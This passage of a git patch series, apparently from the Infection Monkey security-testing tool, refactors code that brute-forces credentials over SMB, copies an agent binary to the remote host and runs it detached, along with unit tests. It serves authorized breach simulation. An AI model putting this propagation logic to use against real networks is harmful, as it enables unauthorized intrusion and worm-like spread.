Iterable[Credentials]], agent_binary_repository: IAgentBinaryRepository, ): """ :param build_command: A function that builds a command to propagate the Monkey agent :param exploit_client_factory: A factory that creates the exploit client - :param propagation_credentials_repository: A repository that provides credentials for - propagation + :param get_credentials: A function that provides credentials for brute-forcing :param agent_binary_repository: A repository that provides the agent binary """ self._build_command = build_command self._exploit_client_factory = exploit_client_factory - self._propagation_credentials_repository = propagation_credentials_repository + self._get_credentials = get_credentials self._agent_binary_repository = agent_binary_repository def exploit_host( @@ -80,8 +78,7 @@ def exploit_host( return ExploiterResultData(exploitation_success=True) def _exploit(self, exploit_client: IRemoteAccessClient, interrupt: Event): - credentials = self._propagation_credentials_repository.get_credentials() - credential_combinations = generate_brute_force_credentials(credentials) + credential_combinations = self._get_credentials() for brute_force_credentials in interruptible_iter(credential_combinations, interrupt): try: diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 928edc69b89..30bacef3756 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -11,6 +11,7 @@ from common.credentials import Credentials from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.exploit.tools import ( + BruteForceCredentialsProvider, BruteForceExploiter, IRemoteAccessClient, IRemoteAccessClientFactory, @@ -64,7 +65,7 @@ def brute_force_exploiter( return BruteForceExploiter( lambda a, b: "command", mock_exploit_client_factory, - mock_credentials_repository, + BruteForceCredentialsProvider(mock_credentials_repository, lambda a: a), mock_agent_binary_repository, ) From 6445cde4e9e2ad004a6eda2fc5f56912ad807193 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 15:59:03 +0000 Subject: [PATCH 0768/1338] SMB: Add docstrings for IRemoteAccessClient --- .../exploit/tools/i_remote_access_client.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index ed4b51c7093..c5699a2e490 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -4,18 +4,26 @@ class RemoteAuthenticationError(Exception): + """Raised when authentication fails""" + pass class RemoteFileCopyError(Exception): + """Raised when a remote file copy operation fails""" + pass class RemoteCommandExecutionError(Exception): + """Raised when a remote command fails to execute""" + pass class IRemoteAccessClient(ABC): + """An interface for clients that execute remote commands""" + @abstractmethod def login(self, credentials: Credentials): """ @@ -36,7 +44,7 @@ def copy_file(self, file: bytes, dest: str): @abstractmethod def get_available_paths(self) -> list[str]: """ - :return: List of available paths + :return: List of available paths into which files can be copied """ pass From 420185a2ccf4615a2fa93062e05d10880eed78bb Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 16:00:00 +0000 Subject: [PATCH 0769/1338] SMB: Rename get_available_paths -> get_writable_paths --- .../exploit/tools/brute_force_exploiter.py | 2 +- .../exploit/tools/i_remote_access_client.py | 2 +- .../exploit/tools/test_brute_force_exploiter.py | 8 ++++---- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 9de5e3503bd..3048f1158bb 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -110,7 +110,7 @@ def _copy_file( exploit_client.copy_file(file_data, destination) return destination - other_destinations = exploit_client.get_available_paths() + other_destinations = exploit_client.get_writable_paths() for other_destination in interruptible_iter(other_destinations, interrupt): with suppress(RemoteFileCopyError): exploit_client.copy_file(file_data, other_destination) diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index c5699a2e490..a97b27115fa 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -42,7 +42,7 @@ def copy_file(self, file: bytes, dest: str): pass @abstractmethod - def get_available_paths(self) -> list[str]: + def get_writable_paths(self) -> list[str]: """ :return: List of available paths into which files can be copied """ diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 30bacef3756..5d202f66679 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -30,7 +30,7 @@ def mock_exploit_client() -> IRemoteAccessClient: client = MagicMock(spec=IRemoteAccessClient) client.login.return_value = True client.copy_file.return_value = "path" - client.get_available_paths.return_value = [] + client.get_writable_paths.return_value = [] client.execute.return_value = True return client @@ -122,10 +122,10 @@ def test_exploit_host__copy_tries_other_paths( mock_exploit_client: IRemoteAccessClient, ): mock_exploit_client.copy_file.side_effect = RemoteFileCopyError("Failed") - mock_exploit_client.get_available_paths = get_other_paths(mock_exploit_client.copy_file) + mock_exploit_client.get_writable_paths = get_other_paths(mock_exploit_client.copy_file) result = run_brute_force_exploiter(brute_force_exploiter) - assert mock_exploit_client.get_available_paths.called + assert mock_exploit_client.get_writable_paths.called assert result.exploitation_success assert result.propagation_success @@ -151,7 +151,7 @@ def test_exploit_host__can_interrupt_while_trying_other_paths( ): my_interrupt = Event() mock_exploit_client.copy_file = interrupt_at_path(my_interrupt, path) - mock_exploit_client.get_available_paths.return_value = OTHER_PATHS + mock_exploit_client.get_writable_paths.return_value = OTHER_PATHS result = run_brute_force_exploiter(brute_force_exploiter, my_interrupt) assert mock_exploit_client.copy_file.last_path == path From cafadae4f17686727cd67332e5060729aea3c2be Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 16:17:39 +0000 Subject: [PATCH 0770/1338] SMB: Provide destination path to BruteForceExploiter --- .../agent_plugins/exploiters/smb/src/plugin.py | 2 ++ .../exploit/tools/brute_force_exploiter.py | 18 ++++++++++++------ .../exploit/tools/i_remote_access_client.py | 5 +++-- .../tools/test_brute_force_exploiter.py | 3 +++ 4 files changed, 20 insertions(+), 8 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 2c4507e89f5..ba432f7341c 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -16,6 +16,7 @@ BruteForceExploiter, generate_brute_force_credentials, ) +from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository @@ -70,6 +71,7 @@ def run( ) brute_force_exploiter = BruteForceExploiter( + get_agent_dst_path(host), command_builder, smb_exploit_client_factory, self._credentials_provider, diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 3048f1158bb..fa4c888747b 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -1,6 +1,7 @@ import logging from contextlib import suppress from io import BytesIO +from pathlib import PurePath from typing import Callable, Iterable from common.credentials import Credentials @@ -15,7 +16,6 @@ RemoteAuthenticationError, RemoteFileCopyError, ) -from .helpers import get_agent_dst_path logger = logging.getLogger(__name__) @@ -31,17 +31,20 @@ class BruteForceExploiter: def __init__( self, + destination_path: PurePath, build_command: Callable[[str, str], str], exploit_client_factory: IRemoteAccessClientFactory, get_credentials: Callable[[], Iterable[Credentials]], agent_binary_repository: IAgentBinaryRepository, ): """ + :param destination_path: The destination path into which copy the agent :param build_command: A function that builds a command to propagate the Monkey agent :param exploit_client_factory: A factory that creates the exploit client :param get_credentials: A function that provides credentials for brute-forcing :param agent_binary_repository: A repository that provides the agent binary """ + self._destination_path = destination_path self._build_command = build_command self._exploit_client_factory = exploit_client_factory self._get_credentials = get_credentials @@ -96,15 +99,18 @@ def _propagate( interrupt: Event, ): agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) - destination = get_agent_dst_path(host) - file_path = self._copy_file(agent_binary, destination, exploit_client, interrupt) + file_path = self._copy_file(agent_binary, self._destination_path, exploit_client, interrupt) - command = self._build_command(file_path, destination) + command = self._build_command(str(file_path), str(self._destination_path)) exploit_client.execute(command) def _copy_file( - self, file: BytesIO, destination: str, exploit_client: IRemoteAccessClient, interrupt: Event - ) -> str: + self, + file: BytesIO, + destination: PurePath, + exploit_client: IRemoteAccessClient, + interrupt: Event, + ) -> PurePath: file_data = file.getvalue() with suppress(RemoteFileCopyError): exploit_client.copy_file(file_data, destination) diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index a97b27115fa..4a4742267aa 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -1,4 +1,5 @@ from abc import ABC, abstractmethod +from pathlib import PurePath from common.credentials import Credentials @@ -33,7 +34,7 @@ def login(self, credentials: Credentials): pass @abstractmethod - def copy_file(self, file: bytes, dest: str): + def copy_file(self, file: bytes, dest: PurePath): """ :param file: File to copy :param dest: Destination path @@ -42,7 +43,7 @@ def copy_file(self, file: bytes, dest: str): pass @abstractmethod - def get_writable_paths(self) -> list[str]: + def get_writable_paths(self) -> list[PurePath]: """ :return: List of available paths into which files can be copied """ diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 5d202f66679..4c200174269 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -1,5 +1,6 @@ from io import BytesIO from ipaddress import IPv4Address +from pathlib import PurePath from threading import Event from typing import Any, List from unittest.mock import MagicMock @@ -22,6 +23,7 @@ from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository CREDENTIALS: List[Credentials] = [] +DESTINATION_PATH = PurePath("destination_path") OTHER_PATHS = ["other_path1", "other_path2", "other_path3"] @@ -63,6 +65,7 @@ def brute_force_exploiter( mock_agent_binary_repository: IAgentBinaryRepository, ) -> BruteForceExploiter: return BruteForceExploiter( + DESTINATION_PATH, lambda a, b: "command", mock_exploit_client_factory, BruteForceCredentialsProvider(mock_credentials_repository, lambda a: a), From 4588612c6b20db17fe864eae7e77c2e3675cf4b6 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 13:20:45 +0000 Subject: [PATCH 0771/1338] SMB: Rename execute -> execute_detached --- .../exploit/tools/brute_force_exploiter.py | 2 +- .../exploit/tools/i_remote_access_client.py | 6 +++++- .../exploit/tools/test_brute_force_exploiter.py | 10 +++++----- 3 files changed, 11 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index fa4c888747b..c257be0a823 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -102,7 +102,7 @@ def _propagate( file_path = self._copy_file(agent_binary, self._destination_path, exploit_client, interrupt) command = self._build_command(str(file_path), str(self._destination_path)) - exploit_client.execute(command) + exploit_client.execute_detached(command) def _copy_file( self, diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index 4a4742267aa..45e7a489d68 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -50,8 +50,12 @@ def get_writable_paths(self) -> list[PurePath]: pass @abstractmethod - def execute(self, command: str): + def execute_detached(self, command: str): """ + Execute a command on the remote host + + This command will be executed in a detached process. + :param command: Command to execute :raises RemoteCommandExecutionError: If execution failed """ diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 4c200174269..63814e825d7 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -33,14 +33,14 @@ def mock_exploit_client() -> IRemoteAccessClient: client.login.return_value = True client.copy_file.return_value = "path" client.get_writable_paths.return_value = [] - client.execute.return_value = True + client.execute_detached.return_value = True return client @pytest.fixture def mock_exploit_client_factory(mock_exploit_client) -> IRemoteAccessClientFactory: factory = MagicMock(spec=IRemoteAccessClientFactory) - factory.build_client.return_value = mock_exploit_client + factory.create.return_value = mock_exploit_client return factory @@ -161,11 +161,11 @@ def test_exploit_host__can_interrupt_while_trying_other_paths( assert not result.propagation_success -def test_exploit_host__execute_fails( +def test_exploit_host__execute_detached_fails( brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, ): - mock_exploit_client.execute.side_effect = Exception() + mock_exploit_client.execute_detached.side_effect = Exception() result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success @@ -198,7 +198,7 @@ def test_exploit_host__propagation_fails_on_execute_error( brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, ): - mock_exploit_client.execute.side_effect = Exception() + mock_exploit_client.execute_detached.side_effect = Exception() result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success From e6b2dc96be16752486aaf7b6a39c15d7a24ee240 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 13:23:21 +0000 Subject: [PATCH 0772/1338] UT: Remove return values from exploit client mock functions --- .../exploit/tools/test_brute_force_exploiter.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 63814e825d7..da371c624f6 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -30,10 +30,7 @@ @pytest.fixture def mock_exploit_client() -> IRemoteAccessClient: client = MagicMock(spec=IRemoteAccessClient) - client.login.return_value = True - client.copy_file.return_value = "path" client.get_writable_paths.return_value = [] - client.execute_detached.return_value = True return client From 6edb4a23b53cac8c7dfd84e7fcf7695f54e887d8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 09:35:48 -0400 Subject: [PATCH 0773/1338] Agent: Explicitly set ExploiterResultData in BruteForceExploiter --- .../infection_monkey/exploit/tools/brute_force_exploiter.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index c257be0a823..a640dc89af8 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -71,14 +71,14 @@ def exploit_host( self._exploit(exploit_client, interrupt) except Exception as err: logger.exception(f"Failed to exploit {host}: {err}") - return ExploiterResultData() + return ExploiterResultData(exploitation_success=False, propagation_success=False) try: self._propagate(exploit_client, host, interrupt) return ExploiterResultData(exploitation_success=True, propagation_success=True) except Exception as err: logger.exception(f"Failed to propagate to {host}: {err}") - return ExploiterResultData(exploitation_success=True) + return ExploiterResultData(exploitation_success=True, propagation_success=False) def _exploit(self, exploit_client: IRemoteAccessClient, interrupt: Event): credential_combinations = self._get_credentials() From 3a3dc7679501be434a894c1f067044a0ab6c614e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 09:41:32 -0400 Subject: [PATCH 0774/1338] Agent: Add RemoteAccessClientError --- .../exploit/tools/i_remote_access_client.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index 45e7a489d68..14b8b69d251 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -4,19 +4,25 @@ from common.credentials import Credentials -class RemoteAuthenticationError(Exception): +class RemoteAccessClientError(Exception): + """Raised when the IRemoteAccessClient encounters an error""" + + pass + + +class RemoteAuthenticationError(RemoteAccessClientError): """Raised when authentication fails""" pass -class RemoteFileCopyError(Exception): +class RemoteFileCopyError(RemoteAccessClientError): """Raised when a remote file copy operation fails""" pass -class RemoteCommandExecutionError(Exception): +class RemoteCommandExecutionError(RemoteAccessClientError): """Raised when a remote command fails to execute""" pass From c2236d68916e0d02367fd9095c7b2cb03505cd88 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 09:42:57 -0400 Subject: [PATCH 0775/1338] Agent: add IRemoteAccessClient.get_os() --- .../exploit/tools/i_remote_access_client.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index 14b8b69d251..9b1abe7bbec 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -1,6 +1,7 @@ from abc import ABC, abstractmethod from pathlib import PurePath +from common import OperatingSystem from common.credentials import Credentials @@ -39,6 +40,16 @@ def login(self, credentials: Credentials): """ pass + @abstractmethod + def get_os(self) -> OperatingSystem: + """ + Queries the remote host for the operating system and returns it + + :return: The operating system of the remote host + :raises RemoteAccessClientError: If the operating system could not be determined + """ + pass + @abstractmethod def copy_file(self, file: bytes, dest: PurePath): """ From 33ba8d7002ab0f22aa98ecb1d7601f1a0189e9dd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 09:44:34 -0400 Subject: [PATCH 0776/1338] SMB: Add a stub implementation of SMBExploitClient.get_os() --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 67722dd288a..619d469341e 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -7,6 +7,7 @@ from impacket.dcerpc.v5 import scmr, srvs, transport from impacket.smbconnection import SMBConnection +from common import OperatingSystem from common.credentials import Credentials from common.event_queue import IAgentEventPublisher from common.types import Event @@ -63,6 +64,9 @@ def authenticate(self, credentials: Credentials) -> bool: self._authenticated_credentials = credentials return True + def get_os(self) -> OperatingSystem: + return OperatingSystem.WINDOWS + def execute( self, servers: Sequence[str], From 6d3b9213190059342065dddd1a327e6806ceea66 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 09:50:10 -0400 Subject: [PATCH 0777/1338] Agent: Add/Improve docstring descriptions for IRemoteAccessClient --- .../exploit/tools/i_remote_access_client.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index 9b1abe7bbec..e06bcd7398a 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -35,6 +35,8 @@ class IRemoteAccessClient(ABC): @abstractmethod def login(self, credentials: Credentials): """ + Establish an authenticated session with the remote host + :param credentials: Credentials to use for login :raises RemoteAuthenticationError: If login failed """ @@ -43,7 +45,7 @@ def login(self, credentials: Credentials): @abstractmethod def get_os(self) -> OperatingSystem: """ - Queries the remote host for the operating system and returns it + Query the remote host for its operating system :return: The operating system of the remote host :raises RemoteAccessClientError: If the operating system could not be determined @@ -53,6 +55,8 @@ def get_os(self) -> OperatingSystem: @abstractmethod def copy_file(self, file: bytes, dest: PurePath): """ + Copy a file to the remote host + :param file: File to copy :param dest: Destination path :raises RemoteFileCopyError: If copy failed @@ -62,6 +66,8 @@ def copy_file(self, file: bytes, dest: PurePath): @abstractmethod def get_writable_paths(self) -> list[PurePath]: """ + Query the remote host and return a collection of writable paths + :return: List of available paths into which files can be copied """ pass @@ -69,9 +75,10 @@ def get_writable_paths(self) -> list[PurePath]: @abstractmethod def execute_detached(self, command: str): """ - Execute a command on the remote host + Execute a command on the remote host in a detached process - This command will be executed in a detached process. + The command will be executed in a detached process, which allows the client to disconnect + from the remote host while allowing the command to continue running. :param command: Command to execute :raises RemoteCommandExecutionError: If execution failed From f9df5d3c0e0d3cd4685e537016eed694e156e6b5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 09:52:35 -0400 Subject: [PATCH 0778/1338] Agent: Change return type of IRemoteAccessClient.get_writable_paths() A Collection is more generic than a list. --- .../infection_monkey/exploit/tools/i_remote_access_client.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py index e06bcd7398a..eea874ecf78 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client.py @@ -1,5 +1,6 @@ from abc import ABC, abstractmethod from pathlib import PurePath +from typing import Collection from common import OperatingSystem from common.credentials import Credentials @@ -64,7 +65,7 @@ def copy_file(self, file: bytes, dest: PurePath): pass @abstractmethod - def get_writable_paths(self) -> list[PurePath]: + def get_writable_paths(self) -> Collection[PurePath]: """ Query the remote host and return a collection of writable paths From e906cf369f8d0b2cc99d26cbe479b63bd82d6bde Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 13:56:31 +0000 Subject: [PATCH 0779/1338] SMB: Use paths instead of strings --- .../exploiters/smb/src/smb_command_builder.py | 11 +++++++---- .../exploiters/smb/src/smb_exploit_client.py | 5 +++-- .../exploit/tools/brute_force_exploiter.py | 4 ++-- .../exploit/tools/test_brute_force_exploiter.py | 4 ++-- 4 files changed, 14 insertions(+), 10 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py index 43f00844cba..4df1e1a4fbd 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py @@ -8,12 +8,15 @@ def build_smb_command( servers: Sequence[str], current_depth: int, - remote_agent_binary_full_path: str, + remote_agent_binary_full_path: PurePath, remote_agent_binary_destination_path: PurePath, ) -> str: - if remote_agent_binary_full_path.lower() != str(remote_agent_binary_destination_path).lower(): + if ( + str(remote_agent_binary_full_path).lower() + != str(remote_agent_binary_destination_path).lower() + ): cmdline = ( - f"{CMD_PREFIX} start cmd /c {remote_agent_binary_full_path} {DROPPER_ARG}" + f"{CMD_PREFIX} start cmd /c {str(remote_agent_binary_full_path)} {DROPPER_ARG}" + build_monkey_commandline( servers, current_depth + 1, @@ -22,7 +25,7 @@ def build_smb_command( ) else: cmdline = ( - f"{CMD_PREFIX} start cmd /c {remote_agent_binary_full_path} {MONKEY_ARG}" + f"{CMD_PREFIX} start cmd /c {str(remote_agent_binary_full_path)} {MONKEY_ARG}" + build_monkey_commandline(servers, current_depth + 1) ) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 619d469341e..98ff50b5bc7 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -27,7 +27,7 @@ class CopiedFileDetails: """Stores the details of a copied file""" - def __init__(self, remote_path: str, destination_path: PurePath): + def __init__(self, remote_path: PurePath, destination_path: PurePath): self.remote_path = remote_path self.destination_path = destination_path @@ -146,7 +146,8 @@ def copy_file( ) self._copied_file_details = CopiedFileDetails( - ntpath.join(share_path, remote_path.strip(ntpath.sep)), destination_path + PurePath(ntpath.join(share_path, remote_path.strip(ntpath.sep))), + destination_path, ) except Exception as exc: diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index a640dc89af8..3e250a8b911 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -32,7 +32,7 @@ class BruteForceExploiter: def __init__( self, destination_path: PurePath, - build_command: Callable[[str, str], str], + build_command: Callable[[PurePath, PurePath], str], exploit_client_factory: IRemoteAccessClientFactory, get_credentials: Callable[[], Iterable[Credentials]], agent_binary_repository: IAgentBinaryRepository, @@ -101,7 +101,7 @@ def _propagate( agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) file_path = self._copy_file(agent_binary, self._destination_path, exploit_client, interrupt) - command = self._build_command(str(file_path), str(self._destination_path)) + command = self._build_command(file_path, self._destination_path) exploit_client.execute_detached(command) def _copy_file( diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index da371c624f6..aaf9c61437b 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -24,7 +24,7 @@ CREDENTIALS: List[Credentials] = [] DESTINATION_PATH = PurePath("destination_path") -OTHER_PATHS = ["other_path1", "other_path2", "other_path3"] +OTHER_PATHS = [PurePath("other_path1"), PurePath("other_path2"), PurePath("other_path3")] @pytest.fixture @@ -114,7 +114,7 @@ def __init__(self, copy_file: MagicMock): def __call__(self, *args: Any, **kwds: Any) -> Any: self.copy_file.side_effect = None self.called = True - return ["other_path"] + return [PurePath("other_path")] def test_exploit_host__copy_tries_other_paths( From 213a0c8af0a89487a5672b794b2ee826c726623d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Mar 2023 10:02:50 -0400 Subject: [PATCH 0780/1338] Agent: Call get_os() and use the result in BruteForceExploiter --- .../exploit/tools/brute_force_exploiter.py | 3 ++- .../exploit/tools/test_brute_force_exploiter.py | 15 +++++++++++++++ 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 3e250a8b911..d5f86120204 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -98,7 +98,8 @@ def _propagate( host: TargetHost, interrupt: Event, ): - agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) + target_host_os = exploit_client.get_os() + agent_binary = self._agent_binary_repository.get_agent_binary(target_host_os) file_path = self._copy_file(agent_binary, self._destination_path, exploit_client, interrupt) command = self._build_command(file_path, self._destination_path) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index aaf9c61437b..f5dfc270373 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -31,6 +31,7 @@ def mock_exploit_client() -> IRemoteAccessClient: client = MagicMock(spec=IRemoteAccessClient) client.get_writable_paths.return_value = [] + client.get_os.return_value = OperatingSystem.WINDOWS return client @@ -211,3 +212,17 @@ def test_exploit_host__exploit_skipped_on_interrupt( result = run_brute_force_exploiter(brute_force_exploiter, interrupt) assert result == ExploiterResultData() assert not mock_exploit_client.login.called + + +@pytest.mark.parametrize("os", [OperatingSystem.WINDOWS, OperatingSystem.LINUX]) +def test_exploit_host__correct_agent_binary_downloaded( + os: OperatingSystem, + brute_force_exploiter: BruteForceExploiter, + mock_exploit_client: IRemoteAccessClient, + mock_agent_binary_repository: IAgentBinaryRepository, +): + mock_exploit_client.get_os.return_value = os + run_brute_force_exploiter(brute_force_exploiter) + + mock_agent_binary_repository.get_agent_binary.assert_called_once() + mock_agent_binary_repository.get_agent_binary.assert_called_with(os) From 8c559295682889051e56c978b7034269a27e1ba6 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 20 Mar 2023 14:32:24 +0000 Subject: [PATCH 0781/1338] SMB: Add IAgentEventPublisher to BruteForceExploiter --- .../exploit/tools/brute_force_exploiter.py | 3 +++ .../exploit/tools/test_brute_force_exploiter.py | 12 ++++++++++++ 2 files changed, 15 insertions(+) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py 